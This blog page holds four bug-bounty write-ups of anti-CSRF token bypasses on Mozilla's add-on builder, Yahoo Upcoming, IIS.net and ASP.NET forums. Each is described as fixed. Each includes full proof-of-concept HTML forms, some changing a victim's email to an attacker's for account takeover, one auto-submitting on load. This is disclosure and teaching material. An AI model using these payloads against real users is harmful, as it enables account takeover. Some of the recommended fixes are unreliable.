Welcome to Web Application Security Research: Cross Site Request Forgery

Showing posts with label Cross Site Request Forgery. Show all posts

Wednesday, June 8, 2016

Builder.addons.mozilla.org Anti-CSRF Token Bypass

Builder.addons.mozilla.org CSRF Vulnerability

I want to share my another finding on Mozilla which I have reported to them under their bug bounty program.

While researching and working on bug bounties I have found that we can bypass Anti-CSRF token validation even when it is getting validated on the server-side and can execute CSRF. And after that using the CSRF we can delete the Add-ons, can make Private Add-ons as public and can Publish Unpublished Add-ons from victims account.

The challenge was to execute the CSRF attack by bypassing the Anti-CSRF token validation. I have found that the Anti-CSRF Token was getting validated on the server-side. So, I tried to find the weakness in its validation by various known ways like I tried to re-use one user Anti-CSRF Token on another user account, then I tried to use the already used token then I tried to check whether token is getting validated on not and after that I tried to check that the token validation is based on full length check and lastly I tried to check that the token validation is based on partial length check but none of them worked as the token was getting validated on server-side.

Now only 3 options left 1st option is that I have to somehow predict or guess the token, 2nd option is that I have to find the weakness in the token validation itself so I tried to analyze the token pattern, randomness, complexity, full length and partial length based validation etc but once again none of them worked :P.

And the 3rd option is that I have to find a way using which the CSRF token validation doesn't happen on the server-side so then I thought why not change the default POST request method to GET method and remove the CSRF token parameter and its value from and send the crafted request I tried that but but again is also not work :P as the CSRF token was properly getting validated on the server-side.

So then something striked again why not remove the Request Type Header(i.e. XMLHttpRequest) and Change the default method from POST to GET and send it as a normal request instead of XMLHttpRequest without any CSRF token parameter and its value.

So for that I crafted a CSRF payload as mentioned below in step two, which contains a Request with GET method instead of default POST method and I deleted the CSRF token parameter and its value and also remove the Request Type Header(i.e. XMLHttpRequest) an then I sent this crafted request. Now guess what this crafted request got executed as the Anti-CSRF Token validated was not happening now on server-side :P and it worked I tried it on some other test users account also and it worked for all users Bingo :D.

Steps to execute this attack are as following:

1. First copy the actual form submission request.

Actual Form Submission Request with Original Anti-CSRF Token Parameter Value and Request Type Header:

POST /package/delete/157917/ HTTP/1.1
Host: builder.addons.mozilla.org
Cookie: JSESSIONID=SessionValue; Domain=builder.addons.mozilla.org; Secure; HttpOnly
Content-Type: application/x-www-form-urlencoded
Request-Type: XMLHttpRequest

CSRFToken=9H217mdn3h12h1n1j1j1j1j1

2. After that Modify the default POST method to GET and remove the Anti-CSRF Token parameter and its random value the request and also remove the XMLHttpRequest request type header from the crafted request.

Add-on Deletion & Anti CSRF Token Bypass(Modified GET Request after changing the default Method and after Removing the CSRF Token and XMLHttpRequest request type Header:

<html>
<body>
    <form action="https://builder.addons.mozilla.org/package/delete/157917/" method="GET">
      <input type="submit" value="Submit form" />
    </form>
</body>
</html>

3. Then send this crafted CSRF payload code as a link to the victim.

4. As the victim executes that CSRF payload containing link while he is logged into his account, the victims account Add-on will be deleted permanently. And same way the victims account Private Add-ons can be made Public and can Publish Unpublished Add-ons.The server will respond as mentioned in the screenshots.

POC:

Rootcause:

Anti-CSRF Token Parameter CSRFToken and its values validation was based on the Request Method(like POST) and Request Type(i.e. XMLHttpRequest). So we can simply say that the Token validation was not happening on the server-side if we change the default Method of the request from POST to GET and if we remove the XMLHttpRequest request type header from the crafted request and send a normal request without any CSRF token.

Impact:

All Builder.addons.mozilla.org users were vulnerable to this CSRF attack using this vulnerability the Attacker can bypass the Anti-CSRF Token Validation and can Delete the Add-ons and make Private Add-ons public from the victims account.

Recommendation:

Anti-CSRF token validation shall not be based on the Request Method Type(i.e POST) and the Request Type Header(i.e. XMLHttpRequest).

The Request Type Header(i.e. XMLHttpRequest) shall be forcefully implemented and normal requests shall not be allowed nor any other Method apart from the Default Method shall be allowed.

Anti-CSRF Token Csrf_Token and its values shall never be reusable in the attacker own account and any other users account.

CSRF token shall be properly validated on server-side instead of only Full & Partial Length Based Validation.

It shall be expired after use and it shall be 1 time useable.

It should be generated randomly on each request.

Instead of POST method PUT method shall be used.

The vulnerability was mitigated by Mozilla Security Team in few days with the following response.

So in this way, one can bypass Anti-CSRF token validation and can Delete the Add-ons and make Private Add-ons public from the victims account also this technique can be used to find same type of vulnerability on different websites.

Suggestions and Feedbacks are welcome.

Monday, June 9, 2014

Upcoming.yahoo.com Anti-CSRF Token Bypass

Upcoming.yahoo.com CSRF Vulnerability

I want to share my another finding on Yahoo which I have reported to them in April 2013.

While researching and working on bug bounties I have found that we can bypass Anti-CSRF token validation even when it is getting validated on the server-side and can execute CSRF. And after that using the CSRF we can compromise the victims account by change email id of any users account on that site to the attackers email id an then we can use the forget password option to reset the victims account password.

Now only 2 options left 1st option is that I have to somehow predict or guess the token and 2nd options is that I have to find the weakness in the token validation itself so I tried to analyze the token pattern, randomness, complexity, full length and partial length based validation etc but once again none of them worked :P so then something striked again why not compare the anti-csrf token of different users accounts so I found that the each users accounts anti-csrf tokens full length was 90 characters thats means it was constant and first 20 Chars of the anti-csrf token were same for each users accounts and the remaining 70 Chars were different for all users accounts.

So for that I created 5 dummy account for testing purpose on Yahoo Upcoming and then crafted a CSRF payload as mentioned below which is containing first 20 Chars value(same for 5 dummy test users accounts) and remaining 70 Chars as a random value, So the Crafted Anti-CSRF token was having a full length of 90 Chars.

Then I sent the CSRF request with the crafted Anti-CSRF token of 90 Chars(which contains 20 Chars as same for all users accounts and reamining 70 Chars as any random value) and then the request got executed as the Anti-CSRF Token got validated on server-side and guess what it worked on 1st user I tried it on all users and its worked for all users Bingo :D.

Steps to execute this attack are as following:

1. First copy the actual form submission request.

Actual Form Submission Request with Original Anti-CSRF Token Parameter Value:

<html>
<body>
    <form action="http://upcoming.yahoo.com/edit/profile/change_email/" method="POST">
      <input type="hidden" name="new_email" value="victimsemailid@gmail.com" />
      <input type="hidden" name="new_email_check" value="victimsemailid@gmail.com" />
      <input type="hidden" name="Csrf_Token" value="Ddmur8483dnd4836f4djgP5eOOhAMn37dnZtFzziOqhflM423Z5JKkVPciRopfgcPau5tj7dnd74fbf730md8anaur" />
      <input type="hidden" name="Submit" value="Change Email" />
      <input type="submit" value="Submit form" />
    </form>
</body>
</html>

2. After that change the same Anti-CSRF Token parameter Csrf_token values from Ddmur8483dnd4836f4djgP5eOOhAMn37dnZtFzziOqhflM423Z5JKkVPciRopfgcPau5tj7dnd74fbf730md8anaur to Ddmur8483dnd4836f4djanm8OOhAMn37dnZtFzziOqhflM423Z345KkVPciRopfgcPau5tj7dnd74fbf730md8an54 were 1st 20 Chars value is constant and reusable for any other users account and remaining 70 Chars are any random value so the tokens full length is 90 Chars and this crafted token value will be used as an Anti-CSRF Token.

Account Compromise & Anti CSRF Token Bypass(Modified Form Submission Request after changing the Anti-CSRF Token Parameter Value to 20 Chars Constant, Reusable & 70 Chars are Random Value):

<html>
<body>
    <form action="http://upcoming.yahoo.com/edit/profile/change_email/" method="POST">
      <input type="hidden" name="new_email" value="attackersemailid@gmail.com" />
      <input type="hidden" name="new_email_check" value="attackersemailid@gmail.com" />
      <input type="hidden" name="CSRF_Token" value="Ddmur8483dnd4836f4djanm8OOhAMn37dnZtFzziOqhflM423Z345KkVPciRopfgcPau5tj7dnd74fbf730md8an54" />
      <input type="hidden" name="Submit" value="Change Email" />
      <input type="submit" value="Submit form" />
    </form>
</body>
</html>

3. Then send this crafted CSRF payload code as a link to the victim.

4. As the victim executes that CSRF payload containing link the victims account email id will be changed and the attack will receive an email to confirm his email after confirming it, the attacker can use the forget password option to reset the and compromise the victims account.

Rootcause:

Anti-CSRF Token Parameter Csrf_Token and its values dmur8483dnd4836f4djgP5eOOhAMn37dnZtFzziOqhflM423Z5JKkVPciRopfgcPau5tj7dnd74fbf730md8anaur validation was based on Partial Length Token(20 Chars Constant & Reusable) Plus Full Length Token(70 Chars Random Value) Based Validation (i.e Anti-CSRF Token 1st 20 Chars were Constant & Reusable and remaining 70 Chars were random values so the Tokens Full Length 90 Chars & Partial Length of 20 Reusable & Constant Chars were only getting checked or validated on Server-Side). So we can simply say that the Token which the system(ie app) generated Token was not reusable for other users account but the user generated(ie crafted) Token can be used on victims account as valid CSRF token.

Impact:

All Upcoming.yahoo.com users were vulnerable to this CSRF attack using these vulnerability the Attacker can bypass the Anti-CSRF Token Validation and can Compromise the victims account.

Recommendation:

Anti-CSRF Token Csrf_Token and its values shall never be reusable in the attacker own account and any other users account.

CSRF token shall be properly validated on server-side instead of only Full & Partial Length Based Validation.

It shall be expired after use and it shall be 1 time useable.

It should be generated randomly on each request.

Instead of Post method PUT method shall be used.

The vulnerability was mitigated by Yahoo Security Team in 1.5 month.

So in this way, one can bypass Anti-CSRF token validation and can also compromise the victims account also this technique can be used to find same type of vulnerability on different websites.

Suggestions and Feedbacks are welcome.

Saturday, April 19, 2014

Microsofts IIS.net Anti-CSRF Token Bypass

Microsoft's IIS.net CSRF Vulnerability

I want to share my another finding on Microsoft IIS.net which I have reported to them in August 2013.

While researching and working on bug bounties I have found that we can bypass Anti-CSRF token validation even when it is getting validated on the server-side and can execute CSRF. And after that using the CSRF we can compromise the victims account by change email id of any users account on that site to the attackers email id an then we can use the forget password option to reset the victims account password.

The challenge was to execute the CSRF attack by bypassing the Anti-CSRF token validation. I have found that the Anti-CSRF Token was getting validated on the server-side. So, I tried to find the weakness in its validation by various known ways like I tried to re-use one user Anti-CSRF Token on another user account, then I tried to use the already used token then I tried to check whether token is getting validated on not and after that I tried to check that the token validation is based on full length check but none of them worked as the Token was getting validated on server-side.

Now only 2 options left 1st option is that I have to somehow predict or guess the token and 2nd options is that I have to find the weakness in the token validation itself so I tried to analyze the token pattern, randomness, complexity, full length based validation etc but once again none worked :P so then something again striked why not check any random value as Anti-CSRF token by decreasing its length one-by-one without the same length as the current Anti-CSRF Token is having.

So for that I created 2 dummy account for testing purpose on IIS.net and then crafted a CSRF payload as mentioned below which is containing a random value as Anti-CSRF token which is having a length(70 Chars) as the current Anti-CSRF Token.

Then I continuously tried to send the CSRF request with the random values of 70 Chars as Anti-CSRF Token in decreasing order.

So 1st CSRF request was containing Anti-CSRF Token value of 70 Chars next will 69 then 68 so like that I tried approx 40 Requests which all failed as the token was not getting validated on server-side but as I sent the 41th Request with the random value as Anti-CSRF Token with the length of 30 Chars then the request got executed as the Anti-CSRF Token got validated on server-side and guess what it worked :D.

Steps to execute this attack are as following:

1. First copy the actual form submission request.

Actual Form Submission Request with Original Anti-CSRF Token Parameter Value:

<html>
<body>
    <form action="https://forums.iis.net/user/editprofile.aspx" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="__RequestVerificationToken" value="CIhXcKin7XcwYn8Y1hNVgP5eOOhAMn37dnZtFzziOqhflM423Z5JKkVPciRopfgcPau5tj" />
      <input type="hidden" name="PostSortOrder" value="0" />
      <input type="hidden" name="EnableDisplayInMemberList" value="true" />
      <input type="hidden" name="EnableDisplayInMemberList" value="false" />
      <input type="hidden" name="EnableUserAvatars" value="true" />
      <input type="hidden" name="EnableUserAvatars" value="false" />
      <input type="hidden" name="TimeZoneId" value="Morocco Standard Time" />
      <input type="hidden" name="DateFormat" value="MMM dd, yyyy" />
      <input type="hidden" name="EnableAvatar" value="true" />
      <input type="hidden" name="EnableAvatar" value="false" />
      <input type="hidden" name="edit-upload" value="" />
      <input type="hidden" name="Name" value="" />
      <input type="hidden" name="Location" value="" />
      <input type="hidden" name="Occupation" value="" />
      <input type="hidden" name="Interests" value="" />
      <input type="hidden" name="WebAddress" value="http://computersecuritywithethicalhacking.blogspot.in" />
      <input type="hidden" name="WebLog" value="http://ajaysinghnegi.com" />
      <input type="hidden" name="Twitter" value="ajaysinghnegi" />
      <input type="hidden" name="Bio" value="" />
      <input type="hidden" name="Signature" value="" />
      <input type="hidden" name="EnableEmail" value="true" />
      <input type="hidden" name="EnableEmail" value="false" />
      <input type="hidden" name="EnableHtmlEmail" value="true" />
      <input type="hidden" name="EnableHtmlEmail" value="false" />
      <input type="hidden" name="EnableThreadTracking" value="false" />
      <input type="hidden" name="EmailPublic" value="testtesting@gmail.com" />
      <input type="hidden" name="MsnIM" value="test" />
      <input type="hidden" name="AolIM" value="testing" />
      <input type="hidden" name="YahooIM" value="test" />
      <input type="hidden" name="IcqIM" value="testingg" />
      <input type="hidden" name="EmailPrivate" value="ajaysinghnegi01@gmail.com" />
      <input type="hidden" name="FavoriteUsersShared" value="false" />
      <input type="hidden" name="FavoritePostsShared" value="false" />
      <input type="hidden" name="FavoriteForumsShared" value="false" />
      <input type="hidden" name="submit" value="Save All Changes" />
      <input type="submit" value="Submit form" />
    </form>
</body>
</html>

2. After that change the same Anti-CSRF Token parameter __RequestVerificationToken values from CIhXcKin7XcwYn8Y1hNVgP5eOOhAMn37dnZtFzziOqhflM423Z5JKkVPciRopfgcPau5tj to ovomyQnYPxvPXfdxrjO1JEce3zPvGn with 30 Chars length this modified value will be used as an Anti-CSRF Token.

Account Compromise & Anti CSRF Token Bypass(Modified Form Submission Request after changing the Anti-CSRF Token Parameter Value to 30 Chars Random Value):

<html>
<body>
    <form action="https://forums.iis.net/user/editprofile.aspx" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="__RequestVerificationToken" value="ovomyQnYPxvPXfdxrjO1JEce3zPvGn" />
      <input type="hidden" name="PostSortOrder" value="0" />
      <input type="hidden" name="EnableDisplayInMemberList" value="true" />
      <input type="hidden" name="EnableDisplayInMemberList" value="false" />
      <input type="hidden" name="EnableUserAvatars" value="true" />
      <input type="hidden" name="EnableUserAvatars" value="false" />
      <input type="hidden" name="TimeZoneId" value="Morocco Standard Time" />
      <input type="hidden" name="DateFormat" value="MMM dd, yyyy" />
      <input type="hidden" name="EnableAvatar" value="true" />
      <input type="hidden" name="EnableAvatar" value="false" />
      <input type="hidden" name="edit-upload" value="" />
      <input type="hidden" name="Name" value="" />
      <input type="hidden" name="Location" value="" />
      <input type="hidden" name="Occupation" value="" />
      <input type="hidden" name="Interests" value="" />
      <input type="hidden" name="WebAddress" value="http://computersecuritywithethicalhacking.blogspot.in" />
      <input type="hidden" name="WebLog" value="http://ajaysinghnegi.com" />
      <input type="hidden" name="Twitter" value="ajaysinghnegi" />
      <input type="hidden" name="Bio" value="" />
      <input type="hidden" name="Signature" value="" />
      <input type="hidden" name="EnableEmail" value="true" />
      <input type="hidden" name="EnableEmail" value="false" />
      <input type="hidden" name="EnableHtmlEmail" value="true" />
      <input type="hidden" name="EnableHtmlEmail" value="false" />
      <input type="hidden" name="EnableThreadTracking" value="false" />
      <input type="hidden" name="EmailPublic" value="testtesting@gmail.com" />
      <input type="hidden" name="MsnIM" value="test" />
      <input type="hidden" name="AolIM" value="testing" />
      <input type="hidden" name="YahooIM" value="test" />
      <input type="hidden" name="IcqIM" value="testingg" />
      <input type="hidden" name="EmailPrivate" value="ajaysinghnegi01@gmail.com" />
      <input type="hidden" name="FavoriteUsersShared" value="false" />
      <input type="hidden" name="FavoritePostsShared" value="false" />
      <input type="hidden" name="FavoriteForumsShared" value="false" />
      <input type="hidden" name="submit" value="Save All Changes" />
      <input type="submit" value="Submit form" />
    </form>
</body>
</html>

3. Then send this crafted CSRF payload code as a link to the victim.

4. As the victim executes that CSRF payload containing link the victims account email id will be changed and the attack will receive an email to confirm his email after confirming it the attacker can use the forget password option to reset the and compromise the victims account.

Rootcause:

Anti-CSRF Token __RequestVerificationToken and its values CIhXcKin7XcwYn8Y1hNVgP5eOOhAMn37dnZtFzziOqhflM423Z5JKkVPciRopfgcPau5tj validation was based on Partial Length based validation(i.e Anti-CSRF Token 1st 30 Chars Length was only getting checked on Server-Side).

Impact:

All Microsoft IIS.net users were vulnerable to this CSRF attack using these vulnerability the Attacker can bypass the Anti-CSRF Token Validation and can Compromise the victims account.

Recommendation:

Anti-CSRF Token __RequestVerificationToken and its values shall never be reusable in the attacker own account and any other users account.

CSRF token shall be properly validated on server-side instead of only Partial Length Based Validation.

It shall be expired after use and it shall be 1 time useable.

It should be generated randomly on each request.

Instead of Post method PUT method shall be used.

The vulnerability was mitigated by Microsoft Security Team in 14 days.

So in this way, one can bypass Anti-CSRF token validation and can also compromise the victims account also this technique can be used to find same type of vulnerability on different websites.

Suggestions and Feedbacks are welcome.

Microsofts Asp.net Anti-CSRF Token Bypass

Microsoft's Asp.net CSRF Vulnerability

I want to share one of my finding on Microsoft Asp.net which I have reported to them in April 2013.

While researching and working on bug bounties I have found that we can bypass Anti-CSRF token validation even when it is getting validated on the server-side and can execute CSRF. And after that using the CSRF we can compromise the victims account by change email id of any users account on that site to the attackers email id an then we can use the forget password option to reset the victims account password.

The challenge was to execute the CSRF attack by bypassing the Anti-CSRF token validation. I have found that the Anti-CSRF Token was getting validated on the server-side. So, I tried to find the weakness in its validation by various known ways like I tried to re-use one user Anti-CSRF Token on another user account, then I tried to use the already used token and after that I tried to check whether token is getting validated on not but none of them worked as the Token was getting validated on server-side.

Now only 2 options left 1st option is that I have to somehow predict or guess the token and 2nd options is that I have to find the weakness in the token validation itself so I tried to analyze the token pattern, randomness, complexity etc but once again none worked :P so then something striked why not to use any random value as Anti-CSRF token with the same length as the current Anti-CSRF Token is having.

So for that I created 2 dummy account for testing purpose on asp.net and then crafted a CSRF payload as mentioned below which is containing a random value as Anti-CSRF token which is having same length(70 Chars) as the current Anti-CSRF Token and guess what it worked :D.

Steps to execute this attack are as following:

1. First copy the actual form submission request.

Actual Form Submission Request with Original Anti-CSRF Token Parameter Value:

<html>
<head>
</head>
<body onload=document.forms[0].submit();>
    <form action="https://forums.asp.net/user/editprofile.aspx" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="__RequestVerificationToken" value="BHfUl2ElWyoSfGEOtEMc88WVcXgrCQDMlpe3rv0qoKfBIw7XtfpUfPPxbzMLAsdWlyvwHN" />
      <input type="hidden" name="PostSortOrder" value="0" />
      <input type="hidden" name="EnableDisplayInMemberList" value="false" />
      <input type="hidden" name="EnableUserAvatars" value="true" />
      <input type="hidden" name="EnableUserAvatars" value="false" />
      <input type="hidden" name="TimeZoneId" value="Morocco Standard Time" />
      <input type="hidden" name="DateFormat" value="MMM dd, yyyy" />
      <input type="hidden" name="EnableAvatar" value="false" />
      <input type="hidden" name="edit-upload" value="" />
      <input type="hidden" name="Name" value="" />
      <input type="hidden" name="Location" value="" />
      <input type="hidden" name="Occupation" value="" />
      <input type="hidden" name="Interests" value="" />
      <input type="hidden" name="WebAddress" value="http://computersecuritywithethicalhacking.blogspot.in" />
      <input type="hidden" name="WebLog" value="test" />
      <input type="hidden" name="Twitter" value="ajaysinghnegi" />
      <input type="hidden" name="Bio" value="" />
      <input type="hidden" name="Signature" value="" />
      <input type="hidden" name="EnableEmail" value="false" />
      <input type="hidden" name="EnableHtmlEmail" value="false" />
      <input type="hidden" name="EnableThreadTracking" value="false" />
      <input type="hidden" name="EmailPublic" value="testtesting@gmail.com" />
      <input type="hidden" name="MsnIM" value="test" />
      <input type="hidden" name="AolIM" value="testing" />
      <input type="hidden" name="YahooIM" value="test" />
      <input type="hidden" name="IcqIM" value="testingg" />
      <input type="hidden" name="EmailPrivate" value="ajaysinghnegi01@gmail.com" />
      <input type="hidden" name="FavoriteUsersShared" value="false" />
      <input type="hidden" name="FavoritePostsShared" value="false" />
      <input type="hidden" name="FavoriteForumsShared" value="false" />
      <input type="hidden" name="submit" value="Save All Changes" /></form>
</body>
</html>

2. After that change the same Anti-CSRF Token parameter __RequestVerificationToken values from BHfUl2ElWyoSfGEOtEMc88WVcXgrCQDMlpe3rv0qoKfBIw7XtfpUfPPxbzMLAsdWlyvwHN to yoSfGEOtEMc8BHfUlAsdWlyvwH2ElW8WVcXgr3rv0qoKfBIw7XtfpUfPPxbzMCQDMlpeLD with same length this modified value will be used as an Anti-CSRF Token.

Account Compromise & Anti CSRF Token Bypass(Modified Form Submission Request after changing the Anti-CSRF Token Parameter Value to 70 Chars Random Value):

<html>
<head>
</head>
<body onload=document.forms[0].submit();>
    <form action="https://forums.asp.net/user/editprofile.aspx" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="__RequestVerificationToken" value="yoSfGEOtEMc8BHfUlAsdWlyvwH2ElW8WVcXgr3rv0qoKfBIw7XtfpUfPPxbzMCQDMlpeLD" />
      <input type="hidden" name="PostSortOrder" value="0" />
      <input type="hidden" name="EnableDisplayInMemberList" value="false" />
      <input type="hidden" name="EnableUserAvatars" value="true" />
      <input type="hidden" name="EnableUserAvatars" value="false" />
      <input type="hidden" name="TimeZoneId" value="Morocco Standard Time" />
      <input type="hidden" name="DateFormat" value="MMM dd, yyyy" />
      <input type="hidden" name="EnableAvatar" value="false" />
      <input type="hidden" name="edit-upload" value="" />
      <input type="hidden" name="Name" value="" />
      <input type="hidden" name="Location" value="" />
      <input type="hidden" name="Occupation" value="" />
      <input type="hidden" name="Interests" value="" />
      <input type="hidden" name="WebAddress" value="http://computersecuritywithethicalhacking.blogspot.in" />
      <input type="hidden" name="WebLog" value="test" />
      <input type="hidden" name="Twitter" value="ajaysinghnegi" />
      <input type="hidden" name="Bio" value="" />
      <input type="hidden" name="Signature" value="" />
      <input type="hidden" name="EnableEmail" value="false" />
      <input type="hidden" name="EnableHtmlEmail" value="false" />
      <input type="hidden" name="EnableThreadTracking" value="false" />
      <input type="hidden" name="EmailPublic" value="testtesting@gmail.com" />
      <input type="hidden" name="MsnIM" value="test" />
      <input type="hidden" name="AolIM" value="testing" />
      <input type="hidden" name="YahooIM" value="test" />
      <input type="hidden" name="IcqIM" value="testingg" />
      <input type="hidden" name="EmailPrivate" value="ajaysinghnegi01@gmail.com" />
      <input type="hidden" name="FavoriteUsersShared" value="false" />
      <input type="hidden" name="FavoritePostsShared" value="false" />
      <input type="hidden" name="FavoriteForumsShared" value="false" />
      <input type="hidden" name="submit" value="Save All Changes" />
</form>
</body>
</html>

3. Then send this crafted CSRF payload code as a link to the victim.

4. As the victim executes that CSRF payload contianing link the victims account email id will be changed and the attack will recieve an email to confirm his email after confirming it the attacker can use the forget password option to reset the and compromise the victims account.

Rootcause:

Anti-CSRF Token __RequestVerificationToken and its values BHfUl2ElWyoSfGEOtEMc88WVcXgrCQDMlpe3rv0qoKfBIw7XtfpUfPPxbzMLAsdWlyvwHN validation was based on Length based validation(i.e Anti-CSRF Token Full Length was only getting checked on Server-Side).

Impact:

All Microsoft Asp.net users were vulnerable to this CSRF attack using these vulnerability the Attacker can bypass the Anti-CSRF Token Validation and can Compromise the victims account.

Recommendation:

Anti-CSRF Token __RequestVerificationToken and its values shall never be reusable in the attacker own account and any other users account.

CSRF Token shall be properly validated on server-side instead of only Length Based Validation.

It shall be expired after use and it shall be 1 time useable.

It should be generated randomly on each request.

Instead of Post method PUT method shall be used.

The vulnerability were mitigated by Microsoft Security Team in 12 days.